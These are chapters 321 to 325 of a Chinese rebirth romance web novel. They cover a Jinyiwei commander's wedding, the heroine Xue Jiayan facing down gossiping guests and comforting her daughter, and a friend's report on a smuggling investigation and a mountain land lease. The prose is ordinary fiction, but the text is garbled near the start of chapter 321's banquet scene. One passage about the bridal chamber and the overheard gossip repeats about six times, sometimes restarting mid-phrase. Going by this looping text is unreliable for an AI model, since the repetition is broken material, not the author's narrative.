苗菁虽权柄滔天,平日里却极少与朝臣私相往来,总是一身飞鱼服,冷着脸让人不敢靠近。 可听说他要成亲,不管是熟络的老同僚,还是八竿子打不着的官员,见了面都要笑眯眯地讨一张请柬:“苗大人好事将近,咱们可得去讨杯喜酒沾沾喜气!” 苗菁也想婚事办得热闹些,来者不拒,全都发了请柬。 一时间,苗府门前车马如龙,贺礼堆成了山。 第321章 喜事 这日,苗府上下张灯结彩,大红绸缎从门口一直挂到了正厅,连门口的石狮子都被系上了红花,一派热闹非凡。 吉时将至,苗菁身穿大红喜服,头戴乌纱帽,胸前挂着大红花,骑着一匹披红挂彩的高头大马,在众人的簇拥下昂首挺胸地出了门。 他脸上是掩不住的喜色,眉眼舒展,嘴角上扬,哪里还有半分平日里的阴鸷?分明是个春风得意的俊朗新郎官。 此时,城外一处幽静的宅院内也是披红挂绿,喜气洋洋,这是薛嘉言特意借给郭晓芸出嫁前暂住的地方。 郭晓芸是个孤儿,无父无母,也无兄弟姊妹。按照规矩,她本该在夫家或族中待嫁,薛嘉言知道郭晓芸的情况,早早备下这间院子,打算送给郭晓芸添妆,让她从这里出嫁。 谁知郭晓芸死活不肯收,只说借着住些日子,从这宅子里出嫁,薛嘉言无奈,只得收回地契。 院子里早已摆满了大大小小的箱笼,朱红漆,上头贴着喜字,系着大红绸缎。 这些都是苗菁出钱,托薛嘉言帮忙置办的嫁妆。薛嘉言让吕舟亲自督办,她看过之后,又自掏腰包添了不少珍贵的首饰和布料。 如今这满满当当的六十抬嫁妆,排开在院子里,看着已是十分体面,足以让任何人家挑不出错处,更没人敢轻视这位新娘子。 正屋内,铜镜前。 郭晓芸身着凤冠霞帔,大红盖头尚未盖上,露出那张精心修饰过的脸庞。 此时的她,眉如远山,眼含秋水,脸颊上涂着淡淡的胭脂,整个人被喜服衬托得娇艳欲滴,仿佛一朵在秋风中盛放的海棠。 薛嘉言站在一旁,看着盛装打扮的郭晓芸,眼中满是欣慰与温柔。 她忍不住上前,笑着在郭晓芸耳畔打趣道: “郭姐姐今日这般光彩照人,真是把天上的嫦娥都比下去了。待会儿记得可别叫错了,往后可不能叫‘苗三弟’,得叫‘夫君’了……” 郭晓芸闻言,羞得满面通红,连耳根都烫了起来。 她嗔怪地轻轻锤了一下薛嘉言的手臂,声音软糯: “又取笑我!在这样我不理你了……” 虽是嗔怪,可那眼角眉梢的笑意,却怎么也藏不住。 薛嘉言看着这一幕,心中涌起一股难以言喻的暖流。 她这趟重生,不仅仅是改变了自己和亲人的命运,就连郭晓芸,也因此变好了。 前世,郭晓芸被戚少亭设计做妾,本就郁结于心,又因为生孩子难产,早早便香消玉殒。 而今生,她终于可以和苗菁这样深情专一的良人,开启崭新的人生。 这一切,真好。 薛嘉言在心中默默感谢那个让她重生的老天爷。虽然不知该如何感谢,但她想着,等过些日子,定要让人去京城几间知名的庙宇,多捐些香油钱,塑几尊金身,也算是酬谢上天这份厚恩了。 两人正说着体己话,外头忽然传来了吹吹打打的喜乐声,紧接着是噼里啪啦的鞭炮声,震得窗纸都在微微颤动。 丫鬟荷花兴冲冲地跑进屋来,满脸通红地喊道: “奶奶!大人来了!迎亲的队伍到门口啦!” 屋内顿时一阵忙碌,薛嘉言赶紧把盖头拿起来替郭晓芸盖好。 在大兖朝,男女成亲时,一般由女方的兄弟背着新娘出门,可郭晓芸是孤儿,唯一的表兄弟本就关系疏远,还远在千里之外,根本赶不回来。 之前两人商议婚事时,苗菁就说了:“不必找谁替代,也不必拘泥那些俗礼。我自己娶的媳妇,当然我自己背!” 苗菁大步流星地走进正屋,喜服的下摆随着他的步伐微微摆动。 他一眼就看到了端坐在床沿的郭晓芸。 那一刻,这位一向沉稳有度,喜怒不形于色的锦衣卫指挥使,竟然有些手足无措。 他笑眼弯弯,露出一口洁白的牙齿,整个人像是被阳光点亮了一般。 周围的丫鬟婆子们何曾瞧过苗菁这般模样?一个个都忍不住捂着嘴偷笑。 苗菁走到郭晓芸面前,缓缓蹲下身,一双细长的眼睛一眨不眨地注视着她。 他的声音因为激动而微微沙哑: “晓芸,我来娶你了。” 他在心里咽下了后半句:“从十三岁那年,我就想娶你了。” 郭晓芸眼眶微热,满心欢喜地伏在苗菁宽阔坚实的背上。 她的双手紧紧环住他的脖颈,感受着他身上传来的温度和心跳。 苗菁稳稳地站起身,步伐坚定地向门外走去。 郭晓芸被苗菁背着出了门,跨过了火盆,稳稳地送入了那顶装饰华丽的花轿之中。 “起轿——!” 随着一声高喝,唢呐声再次高昂地响起。 花轿起,队伍行,在一片欢声笑语和祝福声中,向着苗府,缓缓而去。 薛嘉言既是郭晓芸的姐妹,也是苗菁的朋友。 送完新娘子上轿,薛嘉言自然也得跟着去苗府喝杯喜酒。 小棠姐儿自打知道郭姨要成亲,便心心念念着要去 凑热闹。 今日出门前,小家伙更是早早换上了一身崭新的小袄,头上扎了两个揪揪,别了两朵小小的绒花。 此时的苗府,早已是人声鼎沸,宾客盈门。 吉时已到,司仪高唱礼成。苗菁与郭晓芸在众人的簇拥下拜了天地高堂。 按照规矩,苗菁先将新娘送入洞房,稍作安顿后,又回前院招待宾客。 新房内,红烛高照,喜气洋洋。 薛嘉言陪着郭晓芸坐了一会儿,说着些体己话,逗得郭晓芸眉眼弯弯。 正说着,一直乖乖坐在旁边吃喜糖的棠姐儿忽然皱起了小眉头。 她放下手里的糕点,凑到薛嘉言耳畔,小声道:“娘,肚子有点疼,想如厕。” 薛嘉言摸了摸她的额头,柔声道:“走,娘带你去转转。” 苗家她来过许多次,便没要人引路,牵起棠姐儿的手,轻车熟路地穿过后院的游廊,往净房走去。 母女俩从净房出来,抄了近道穿过一处假山石洞,眼前是枯萎的紫藤花架,花架后面,隐约传来几个妇人压低的声音。 “……瞧见了吗?就是刚刚那个穿着橘红袄裙,戴着双碟穿花簪的。啧啧……” 薛嘉言脚下的步子猛地一顿,低头看了看自己身上的衣裳,又抬手摸了摸发间的金簪,非但没有半分恼怒,反而勾起了一抹冷笑。 凑热闹。 今日出门前,小家伙更是早早换上了一身崭新的小袄,头上扎了两个揪揪,别了两朵小小的绒花。 此时的苗府,早已是人声鼎沸,宾客盈门。 吉时已到,司仪高唱礼成。苗菁与郭晓芸在众人的簇拥下拜了天地高堂。 按照规矩,苗菁先将新娘送入洞房,稍作安顿后,又回前院招待宾客。 新房内,红烛高照,喜气洋洋。 薛嘉言陪着郭晓芸坐了一会儿,说着些体己话,逗得郭晓芸眉眼弯弯。 正说着,一直乖乖坐在旁边吃喜糖的棠姐儿忽然皱起了小眉头。 她放下手里的糕点,凑到薛嘉言耳畔,小声道:“娘,肚子有点疼,想如厕。” 薛嘉言摸了摸她的额头,柔声道:“走,娘带你去转转。” 苗家她来过许多次,便没要人引路,牵起棠姐儿的手,轻车熟路地穿过后院的游廊,往净房走去。 母女俩从净房出来,抄了近道穿过一处假山石洞,眼前是枯萎的紫藤花架,花架后面,隐约传来几个妇人压低的声音。 “……瞧见了吗?就是刚刚那个穿着橘红袄裙,戴着双碟穿花簪的。啧啧……” 薛嘉言脚下的步子猛地一顿,低头看了看自己身上的衣裳,又抬手摸了摸发间的金簪,非但没有半分恼怒,反而勾起了一抹冷笑。 凑热闹。 今日出门前,小家伙更是早早换上了一身崭新的小袄,头上扎了两个揪揪,别了两朵小小的绒花。 此时的苗府,早已是人声鼎沸,宾客盈门。 吉时已到,司仪高唱礼成。苗菁与郭晓芸在众人的簇拥下拜了天地高堂。 按照规矩,苗菁先将新娘送入洞房,稍作安顿后,又回前院招待宾客。 新房内,红烛高照,喜气洋洋。 薛嘉言陪着郭晓芸坐了一会儿,说着些体己话,逗得郭晓芸眉眼弯弯。 正说着,一直乖乖坐在旁边吃喜糖的棠姐儿忽然皱起了小眉头。 她放下手里的糕点,凑到薛嘉言耳畔,小声道:“娘,肚子有点疼,想如厕。” 薛嘉言摸了摸她的额头,柔声道:“走,娘带你去转转。” 苗家她来过许多次,便没要人引路,牵起棠姐儿的手,轻车熟路地穿过后院的游廊,往净房走去。 母女俩从净房出来,抄了近道穿过一处假山石洞,眼前是枯萎的紫藤花架,花架后面,隐约传来几个妇人压低的声音。 “……瞧见了吗?就是刚刚那个穿着橘红袄裙,戴着双碟穿花簪的。啧啧……” 薛嘉言脚下的步子猛地一顿,低头看了看自己身上的衣裳,又抬手摸了摸发间的金簪,非但没有半分恼怒,反而勾起了一抹冷笑。 凑热闹。 今日出门前,小家伙更是早早换上了一身崭新的小袄,头上扎了两个揪揪,别了两朵小小的绒花。 此时的苗府,早已是人声鼎沸,宾客盈门。 吉时已到,司仪高唱礼成。苗菁与郭晓芸在众人的簇拥下拜了天地高堂。 按照规矩,苗菁先将新娘送入洞房,稍作安顿后,又回前院招待宾客。 新房内,红烛高照,喜气洋洋。 薛嘉言陪着郭晓芸坐了一会儿,说着些体己话,逗得郭晓芸眉眼弯弯。 正说着,一直乖乖坐在旁边吃喜糖的棠姐 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新房内,红烛高照,喜气洋洋。 薛嘉言陪着郭晓芸坐了一会儿,说着些体己话,逗得郭晓芸眉眼弯弯。 正说着,一直乖乖坐在旁边吃喜糖的棠姐儿忽然皱起了小眉头。 她放下手里的糕点,凑到薛嘉言耳畔,小声道:“娘,肚子有点疼,想如厕。” 薛嘉言摸了摸她的额头,柔声道:“走,娘带你去转转。” 苗家她来过许多次,便没要人引路,牵起棠姐儿的手,轻车熟路地穿过后院的游廊,往净房走去。 母女俩从净房出来,抄了近道穿过一处假山石洞,眼前是枯萎的紫藤花架,花架后面,隐约传来几个妇人压低的声音。 “……瞧见了吗?就是刚刚那个穿着橘红袄裙,戴着双碟穿花簪的。啧啧……” 薛嘉言脚下的步子猛地一顿,低头看了看自己身上的衣裳,又抬手摸了摸发间的金簪,非但没有半分恼怒,反而勾起了一抹冷笑。 凑热闹。 今日出门前,小家伙更是早早换上了一身崭新的小袄,头上扎了两个揪揪,别了两朵小小的绒花。 此时的苗府,早已是人声鼎沸,宾客盈门。 吉时已到,司仪高唱礼成。苗菁与郭晓芸在众人的簇拥下拜了天地高堂。 按照规矩,苗菁先将新娘送入洞房,稍作安顿后,又回前院招待宾客。 新房内,红烛高照,喜气洋洋。 薛嘉言陪着郭晓芸坐了一会儿,说着些体己话,逗得郭晓芸眉眼弯弯。 正说着,一直乖乖坐在旁边吃喜糖的棠姐儿忽然皱起了小眉头。 她放下手里的糕点,凑到薛嘉言耳畔,小声道:“娘,肚子有点疼,想如厕。” 薛嘉言摸了摸她的额头,柔声道:“走,娘带你去转转。” 苗家她来过许多次,便没要人引路,牵起棠姐儿的手,轻车熟路地穿过后院的游廊,往净房走去。 母女俩从净房出来,抄了近道穿过一处假山石洞,眼前是枯萎的紫藤花架,花架后面,隐约传来几个妇人压低的声音。 “……瞧见了吗?就是刚刚那个穿着橘红袄裙,戴着双碟穿花簪的。啧啧……” 薛嘉言脚下的步子猛地一顿,低头看了看自己身上的衣裳,又抬手摸了摸发间的金簪,非但没有半分恼怒,反而勾起了一抹冷笑。 凑热闹。 今日出门前,小家伙更是早早换上了一身崭新的小袄,头上扎了两个揪揪,别了两朵小小的绒花。 此时的苗府,早已是人声鼎沸,宾客盈门。 吉时已到,司仪高唱礼成。苗菁与郭晓芸在众人的簇拥下拜了天地高堂。 按照规矩,苗菁先将新娘送入洞房,稍作安顿后,又回前院招待宾客。 新房内,红烛高照,喜气洋洋。 薛嘉言陪着郭晓芸坐了一会儿,说着些体己话,逗得郭晓芸眉眼弯弯。 正说着,一直乖乖坐在旁边吃喜糖的棠姐儿忽然皱起了小眉头。 她放下手里的糕点,凑到薛嘉言耳畔,小声道:“娘,肚子有点疼,想如厕。” 薛嘉言摸了摸她的额头,柔声道:“走,娘带你去转转。” 苗家她来过许多次,便没要人引路,牵起棠姐儿的手,轻车熟路地穿过后院的游廊,往净房走去。 母女俩从净房出来,抄了近道穿过一处假山石洞,眼前是枯萎的紫藤花架,花架后面,隐约传来几个妇人压低的声音。 “……瞧见了吗?就是刚刚那个穿着橘红袄裙,戴着双碟穿花簪的。啧啧……” 薛嘉言脚下的步子猛地一顿,低头看了看自己身上的衣裳,又抬手摸了摸发间的金簪,非但没有半分恼怒,反而勾起了一抹冷笑。 第322章 陛下眼瞎吗? 秋日的庭院里,紫藤花早已枯萎,只有密密麻麻的枝条缠绕在花架上,剩下为数不多的枯叶,风一吹便簌簌作响。 妇人们的窃窃私语,便随着风飘过来了。 “瞧着倒是一副温婉的样子,安安静静的,不像是那种会勾人的狐媚子……” 另一名妇人立刻接话,声音压得极低,却依旧清晰地飘了过来:“怕是装出来的!要不然怎么能勾得陛下迷城这样。上次选秀,京中名门闺秀、世家贵女都参加了,何等风姿都有,真不懂,陛下放着那些清清白白的大姑娘不要,也不知怎么就看上了她这么一个克夫、还带着两个孩子的妇人!” 几人凑在一起,你一言我一语,叽叽咕咕的低语里全是嘲讽与不解,末了还传来一阵低低的嗤笑声,仿佛能贬低薛嘉言,就能抬高她们自己一般。 廊下的棠姐儿已经六岁了,性子却比同龄孩子更敏感懂事。她紧紧挨着薛嘉言的衣角,那些刻薄的话语一字不落地钻进耳朵里,小小的身子微微绷紧,她听得懂,花架后面的那些妇人,是在取笑她的娘亲,是在说娘亲配不上陛下。 棠姐儿的眼睛里瞬间蓄满了水光,死死抿着粉嫩的嘴唇,小脸憋得通红,硬是强忍着没让眼泪掉下来,只是攥着薛嘉言衣角的小手,攥得越来越紧。 薛嘉言将女儿的小动作尽收眼底,心头一软,又生出几分戾气。 她轻轻摸了摸棠姐儿柔软的发顶,俯身附耳,用只有母女二人能听见的声音轻声道:“棠姐儿乖,你在这里等着娘亲,娘亲去跟她们说几句话,很快就回来。” 棠姐儿抬起满是水光的眼睛,看着娘亲乖巧地点了点头,小手轻轻松开薛嘉言的衣角,安安静静地站在原地。 薛嘉言直起身,脸上的温柔瞬间褪去,取而代之的是一份从容不迫的清冷。 她步履平稳地穿过走廊,绕过紫藤花架,没有丝毫停顿,忽然就出现在那群低语的妇人面前。 那几名妇人正簇拥在一起,脑袋凑得极近,你一言我一语地嚼着舌根,丝毫没有察觉有人靠近。直到眼前忽然一暗,光线被挡住,几人才下意识抬头,抬眼的瞬间,脸上的笑容瞬间僵住,瞳孔微微放大,神色骤变。 眼前站着的,正是她们刚才肆无忌惮议论的正主——薛嘉言。 她身姿挺拔,眉眼清冷,带着一股无形的压迫感。 几人吓得惊慌失措,纷纷往后退了半步,手忙脚乱地站直身子,脸色瞬间变得惨白,嘴唇嗫嚅着,半天说不出一句完整的话,眼神也不敢与薛嘉言对视,一个个低着头,大气都不敢喘。 薛嘉言看着她们这副手足无措的模样,忽然轻笑一声,挑眉看向她们,语气带着几分漫不经心,却又字字锐利:“怎么?不聊了?方才你们聊得不是挺热闹的吗?” 她顿了顿,不等几人开口,又缓缓说道,“陛下看上我,自然是因为我清丽脱俗,秀外慧中,风姿绰约,气质出众,不然还能因为什么?难不成,是因为陛下眼瞎?” 这话她敢说,旁人也不敢听。 几名妇人更是吓得魂飞魄散,惊慌失措地摆着手,结结巴巴地否认着:“不……不是的,夫人,您误会了,我们……我们没有说陛下眼瞎……” “是我们胡言乱语,夫人恕罪,恕罪啊……”她们语无伦次,前言不搭后语。 薛嘉言目光一扫,缓缓抬起手指,指向最中间那名穿着淡绿衣裳的年轻妇人,语气平静:“你来说,陛下看上我,到底是因为我与众不同、配得上他,还是因为陛下眼瞎?” 那淡绿衣裳的妇人被她点到名,吓得双腿一软,差点瘫倒在地,哆哆嗦嗦地抬起头,眼神躲闪,声音细若蚊蚋,却又不敢不答:“夫……夫人美貌出众,气质出尘,才思敏捷,这才被陛下看重,是……是我们有眼无珠,胡言乱语……” 薛嘉言满意地点了点头,又将目光移到她旁边那名穿粉衣的女子身上,语气依旧平淡,却带着几分审视:“你觉得呢?我再问你一次,陛下看上我,是因为我风姿绰约、与众不同,还是因为他眼瞎?” 粉衣女子咽了咽口水,感受着薛嘉言身上的气场,不敢有丝毫敷衍,深吸一口气,无比坚定地说道:“自然是因为夫人风姿绰约,美貌出众,气质非凡,陛下慧眼识珠,才会倾心于夫人!我们方才都是一时糊涂,胡乱议论,还请夫人恕罪!” 薛嘉言没有停手,目光一一扫过在场的四五个妇人,挨个点了她们的名字,让她们亲口承认,陛下看上她,是因为她自身出众,而非其他。 每一个被点到的妇人,都吓得心惊胆战,只能恭恭敬敬、认认真真地说着奉承的话,亲口承认薛嘉言的与众不同与美貌出众,没有一个人敢有半句反驳。 等最后一名妇人说完,薛嘉言才缓缓收回目光,满意地点了点头,语气缓和了几分,却依旧带着警告:“既然你们都明白了事实,往后说话就小心些,谨言慎行。陛下最是不喜旁人说他没眼光,明白了吗?” 几名妇人连忙连连点头,脸上惨白如纸,纷纷躬身致歉:“是是是,夫人说的是,我们再也不敢了!” “方才都是我们胡言乱语,口无遮拦,陛下与夫人乃是天作之合,是我们有眼不识泰山!” 她们一边道歉,一边暗暗庆幸,薛嘉言没有深究,不然她们今日定然讨不到好。 薛嘉言看着她们这副唯唯诺诺的模样,不再多言,转身离去。 走回廊下时,她立刻换上温柔的神色,弯腰抱了抱等候在那里的棠姐儿,牵着她温热的小手往前慢慢走。 棠姐儿顺从地跟着母亲往前走,但始终垂着小脑袋,眉头微微蹙着,小嘴抿得紧紧的,一副心事重重的模样。 第323章 狐假虎威 薛嘉言心中了然,知道方才那些闲话,还是在孩子心里留下了痕迹,便牵着她拐进了一旁僻静的地方,找了石凳坐下,将棠姐儿抱到自己腿上。 她轻轻拂了拂女儿发间的碎发,轻声问道:“棠棠,一开始听到她们说娘亲那些难听的话,你心里是不是很难受?是不是觉得委屈?” 棠姐儿抬起头,眼睛里还残留着一丝淡淡的湿意,听到娘亲的话,再也忍不住,用力地点了点头,“嗯……难受。娘才不是她们说的那样,娘不狐媚,也没有配不上陛下,娘是最好的娘亲。” 薛嘉言心头一暖,怜爱地抚了抚棠姐儿软乎乎的脸蛋,柔声道:“我的棠棠真乖,知道娘亲是什么样的人。那你再想想,娘过去跟她们说了几句话以后,变成谁心里难受了?” 棠姐儿歪着小脑袋,认真地回想了片刻,眼睛微微亮了亮,小声说道:“是那几个胡乱说话的妇人!她们都吓得一直给娘亲道歉,她们怕陛下,也怕娘亲。” 薛嘉言忍不住笑了,轻轻点了点女儿的小鼻尖,眼底满是宠溺:“没错,她们怕的是陛下,娘今日这般,其实是狐假虎威呢。可这有什么要紧呢?陛下心悦娘亲,疼惜娘亲,自然就愿意把他的权势借我用,让我能护着自己,也能护着你,不让咱们娘俩受委屈。” 她说着,语气渐渐变得郑重起来。薛嘉言心里清楚,棠姐儿是她的女儿,这一生注定要活在旁人的议论与目光里。 她不能让女儿重走自己前世的老路,被名声、礼教这些枷锁困住,活得小心翼翼、委屈自己。她必须让女儿尽早看开,活得自在、坦荡。 “棠棠,你识字也有一段时间了,娘教过你读书、写字,教过你明辨是非,却从未给你看过《女德》《女诫》那些书,你知道是为什么吗?” 薛嘉言轻轻抚摸着女儿的发丝,耐心解释道,“你还太小,那些书里的规矩太多,会把你早早地框在一些根本不必要的枷锁里,让你不敢哭、不敢闹,不敢做自己喜欢的事,只能按着别人的要求活着,那样太苦了。” 她握住棠姐儿的小手,眼神坚定而温柔:“娘只希望你记住一件事,这世上,没有什么事情能比你的生命更重要,也没有什么人、什么规矩,能比你自己的开心更重要。不管别人说什么,只要你行得正、坐得端,只要你自己活得舒心、自在,就足够了,不必去在意那些闲言碎语。” 棠姐儿似懂非懂地眨了眨眼睛,用力地点了点头:“娘,我知道了。不管别人说什么,我都相信娘亲,也会好好活着,不让娘亲担心。” 她虽然不完全明白娘亲话里的深意,却清楚地知道,娘亲说的每一句话,都是为了她好。 薛嘉言欣慰地笑了,在女儿额头上印下一个轻柔的吻,牵着她的小手起身:“我的棠棠真懂事,咱们去赴宴吧,看看有没有你喜欢吃的东西。” 此时,宴席已然开始,宾客们推杯换盏,笑语盈盈。 薛嘉言牵着棠姐儿走进宴会厅,目光一扫,果然瞧见了方才在花架后面说闲话的那几名妇人。她们端坐席间,一改方才的随意刻薄,各个正襟危坐,腰背挺得笔直,却始终低着头,连眼角的余光都不敢往薛嘉言这边瞟一眼。 薛嘉言淡淡扫过她们,并未放在心上,牵着棠姐儿找了位置坐下,温柔地给女儿夹着糖果子。 酒宴进行到一半,渐渐临近尾声,宾客们也开始有了几分醉意。 就在这时,苗府外忽然传来一阵马蹄声与车轱辘声,紧接着,便有仆役匆匆进来禀报,说是有客人赶来了。 没多久,就见一道挺拔的身影快步走了进来,一身青色长衫,风尘仆仆,显然是长途跋涉而来,却依旧精神奕奕。 来人正是苏辞。 他快步走到苗菁面前,对着身着喜服的苗菁拱手行礼,语气热忱,笑容爽朗:“苗大人,恭喜恭喜!自从前些日子得知大人十月底成亲,苏某便一直记挂着,想讨一杯大人的喜酒喝。一路紧赶慢赶,总算是赶上了,没误了吉时。” 苗菁见状,连忙起身回礼,语气亲切:“苏兄客气了,快请坐,一路辛苦,先喝杯酒解解乏。”说罢,便示意身边的仆役引苏辞入座,又让人添上碗筷酒水。 苏辞笑着谢过,目光扫过席间,又对着苗菁说道:“多谢苗大人。对了,外头我带了些薄礼,算不上什么贵重东西,只是一点心意,还请大人不要嫌弃,安排个人去收下吧。” 苗菁笑着道:“那就多谢苏兄了。今日是我大喜之日,宾客众多,不便与苏兄细聊,等过了这几日,我亲自约苏兄,咱们找个清静地方,好好喝几杯。” 苏辞闻言,欣然应下:“好,全听苗大人安排。今日大人只管陪好宾客,苏某自便即可,莫要因我分心。”说罢,便在仆役的引导下,找了个空位坐下,拿起酒杯,对着苗菁遥遥一敬,便自在地喝了起来。 席间的宾客见苗菁对苏辞这般客气,也纷纷不敢怠慢,偶尔有人上前与苏辞寒暄,苏辞也都从容应对,进退有度。 又过了约莫半个时辰,酒宴渐渐散去,宾客们三三两两告辞,苗菁亲自在府门口相送,礼数周全。 薛嘉言牵着棠姐儿的手,往侧门走去——那里停放着她们的马车。 两人刚走到马车旁,司雨正准备掀开车帘,忽听身后传来一道温和又熟悉的喊声:“棠姐儿……” 棠姐儿转过身,顺着声音望去,看清来人时,眼睛瞬间亮了起来,欢呼着挣脱薛嘉言的手,小短腿快步奔了过去:“苏伯伯!是苏伯伯!” 苏辞不知何时已换下了那身青色长衫,换了一身干净衣裳。见棠姐儿奔过来,他连忙弯腰,张开双臂,稳稳地将扑过来的小姑娘抱了起来,顺势举过头顶,脸上满是宠溺的笑意,声音温柔:“哎,好像又重了些,可算见到你了!有没有想苏伯伯呀?” 棠姐儿被举得高高的,笑得眉眼弯弯,不住地点着小脑袋,声音软糯又响亮:“想了!特别想苏伯伯!苏伯伯好久都没来看棠棠了!” 苏辞被小姑娘的模样逗得哈哈大笑,笑声爽朗,故作神秘地说道:“等会儿回去,苏伯伯就把给你带的礼物拿出来,保管你喜欢,是鞑靼那边特有的小玩意儿,京城里可买不到。” 棠姐儿听得眼睛更亮了,兴奋地拍着小手:“太好了!谢谢苏伯伯!” 第324章 办成 薛嘉言站在一旁,看着两人亲昵的模样,脸上露出温柔的笑意,走上前轻声道:“苏大哥,什么手回来的?” 苏辞放下棠姐儿,却依旧牵着她的小手,笑着摇了摇头:“刚回来,正好赶上了苗大人成亲。我正好有事情跟你说,就来这里候着你们了。” 薛嘉言点了点头,便带着棠姐儿上了马车,苏辞则坐了另一辆车,一起往前薛家。 不多时,马车便到了薛宅门口。苏辞抬头看向宅门上崭新的牌匾,“薛宅”二字笔力遒劲,透着几分新气象,他眼底闪过一丝复杂,默默叹了口气。 进入薛宅,仆役们连忙上前见礼,薛嘉言吩咐下人备茶,又带着苏辞去给吕氏请安。 吕氏见苏辞远道而来,十分欢喜,拉着他的手问长问短,苏辞一一恭敬应答,又将带来的一份贵重贺礼递上,算是给吕氏的请安礼。 随后,苏辞又将带来的礼物一一分派出去,给棠姐儿的是一盒子鞑靼的彩色珠串与小巧的木雕玩偶,就连拾英、司雨等人也各有一份薄礼,礼数周全,面面俱到。 等忙完这一切,薛嘉言才带着苏辞来到书房,屏退左右,书房内瞬间安静下来,两人相对而坐,苏辞才缓缓开口,说起了这半年来的奔波成果。 “嘉嘉,你之前托付我的,承包赫哲部山头的事情,已经办妥了。” 苏辞端起桌上的茶,抿了一口,语气沉稳,“我已经先派了几个可靠的人手过去守着,你之前说要种果树,过些日子天气暖和些,就要开始做准备了,开垦、育苗、栽种,得不少人手。” 薛嘉言闻言,脸上立刻露出笑容,眼底满是欣喜:“太好了,苏大哥,真是辛苦你了!我知道这事不容易,边关的山头牵扯甚广,想必你费了不少心思吧?” 苏辞笑了笑,语气轻描淡写,仿佛那些奔波与算计都不值一提:“算不上多难,他们那边的人内部本就分派系,各有各的心思,各有各的弱点。我找到他们各自的把柄,逐一击破,虽费了点时间,倒也顺利。” 他顿了顿,又补充道,“山头的地界已经划清,文书也都办妥了,后续有什么需要,再让人跟我联系就好。” 薛嘉言微微颔首,端着茶杯,在心里默默盘算起来——这山头,她本就不是真的要种果树,而是为了寻找铁矿才特意承包的,只要后续勘察到铁矿的具体位置,姜玄自然会安排卫所的人接手,人手的事情,根本不必担心。只是这事,该如何跟姜玄开口,还要好好斟酌一番。 见她神色有些恍惚,似是在思索什么,苏辞放下茶杯,语气里多了几分关切,轻声问道:“嘉嘉,你还好吗?” 苏辞这半年来一直远在鞑靼,留在京城里的人手,定期会给他汇报京城的动向。薛嘉言的事情,闹得满城风雨,苏辞自然也已知晓。 他这才明白,原来她背后的那个男人,并不是什么寻常的王公贵族,而是当今陛下姜玄。 得知真相的那一刻,苏辞彻夜未眠,既有几分释然,又有几分说不清道不明的担忧——陛下高高在上,后宫之中从不缺女子,他怕薛嘉言受委屈,怕她只是陛下一时兴起的玩物,怕她终究落得一场空。 薛嘉言回过神,对上苏辞关切的目光,轻轻笑了笑,语气轻松:“我这不是挺好的吗?有陛下照拂,有母亲和棠姐儿在身边,府中安稳,日子也舒心,没什么不好的。” 苏辞看着她脸上的笑容,不似作假,却还是忍不住叹息一声,语气闷闷的,带着几分不平:“可他若真的有心对你好,总该给你一个名份才是。如今你这般无名无分地陪在他身边,外头还有那么多闲言碎语,你受委屈了。” 薛嘉言闻言,忍不住笑了起来,语气带着几分调侃,又有几分通透:“听说鞑靼那边民风开放,青年男女只要看对了眼,不必讲究三媒六聘,也不必在乎名份,便可相守在一起。苏大哥在鞑靼待了这么久,竟没被那边的思想同化吗?” 她想起上一世姜玄曾跟她说过的趣事,鞑靼那边的姑娘小伙子,只要互相瞧得上,钻进帐篷里亲热,便是定了终身,旁人也不会说什么。 苏辞无奈地摇了摇头,“我十几岁才去的鞑靼,骨子里还是咱们大兖的规矩,那些开放的思想,我实在没办法接受。倒是我弟弟,年纪小,去的时候才几岁,全盘接受了那边的民风,跟鞑靼一个部落首领的姑娘好上了,也没要什么三媒六聘,两人先有了孩子,今年八月里才办的婚事。” 薛嘉言闻言,忍不住笑了笑,脑海中瞬间浮现出记忆中那个流着鼻涕、跟在苏辞身后的三岁小儿,如今竟也成家,甚至有了孩子,不由得感慨道:“时间过得可真快,当年苏进还只是个黏着你的小不点,如今竟都当爹了。” 苏辞见她笑得眉眼弯弯,心情舒畅,似乎真的完全没有被外头的流言蜚语影响,也并不在乎什么名份不名份,心头的担忧渐渐松快了些,可心底深处,却又生出一丝淡淡的失落。 十几年的时光,改变的何止是他那个懵懂的弟弟。 当年那个娇滴滴、需要他护着的小姑娘,早已长成了如今这般从容、通透的模样,她不再需要他的庇护,也有了自己的归宿,而他,似乎也只能远远地看着,做一个无关紧要的旁观者。 第325章 落实 苏辞明白自己再多提及名份之事,反倒会让她为难,便压下心底那丝淡淡的失落,不再提起此事,话锋一转,语气渐渐变得郑重起来:“嘉嘉,高家的事,有眉目了。” 原本还带着几分笑意的薛嘉言,闻言瞬间来了精神,身子微微前倾,眼底的慵懒散去,取而代之的是几分锐利与急切,连忙追问道:“怎么说?苏大哥,是不是查到什么关键线索了?” 苏辞缓缓开口,将查到的线索一一说来:“你还记得,之前我爹安排了一个人,悄悄接近高家商队的二管事吗?那人名叫梁玉,心思活络,又足够机灵,这些日子一直潜伏在商队里,小心翼翼地获取信任。” 他顿了顿,继续说道:“去年,高家商队为了赶行程、省时间,特意选了一条沙漠近路,没想到途中遇上了罕见的风沙暴,商队的人被吹散,二管事也被困在了沙丘里,险些丢了性命。正是梁玉不顾危险,折返回去找到了他,拼尽全力将他救了出来。” “二管事却也重情义,被梁玉救了性命后,对他十分信任,又见他机灵能干,便干脆认了梁玉做干儿子。”苏辞的语气带着几分赞许,“梁玉借着干儿子的身份,慢慢在商队里混熟了,也渐渐接触到了商队的核心事务,没人再对他设防。” 薛嘉言微微颔首,轻声道:“这梁玉倒是有本事,也够果敢,能抓住这样的机会,一步步获得信任,实在不易。” “可不是嘛。”苏辞笑了笑,继续说道,“梁玉也懂得借力打力,他成为二管事的干儿子后,瞧着二管事在商队里处处受大管事排挤,便故意打着为二管事鸣不平的旗号,暗中挑拨他与大管事的关系。期间,他还做了不少手脚,故意制造两人之间的矛盾,让二管事对大管事愈发不满,也对他愈发依赖。” “也正因为如此,二管事渐渐放下了所有防备,偶尔酒后失言,或是闲聊之时,会不经意间跟梁玉说起不少商队的秘密,梁玉也一一记在心里,慢慢收集到了不少关键消息。” 苏辞的语气沉了沉,“根据梁玉传来的消息,高家祖籍在良州,咱们查到的这支走私商队,所有的人都是良州出身,表面上看,跟京城的高家没有任何明面上的联系,甚至连往来的书信都没有。” 薛嘉言闻言,眉头微微一蹙,随即又缓缓舒展开来,眼底闪过一丝了然,轻声道:“我明白了,高家这是故意切割清楚,做了两手准备。他们怕的就是万一走私的事情败露,这支商队被查,会顺着线索牵连到京城的高家主脉,到时候便是万劫不复。” 她顿了顿,语气 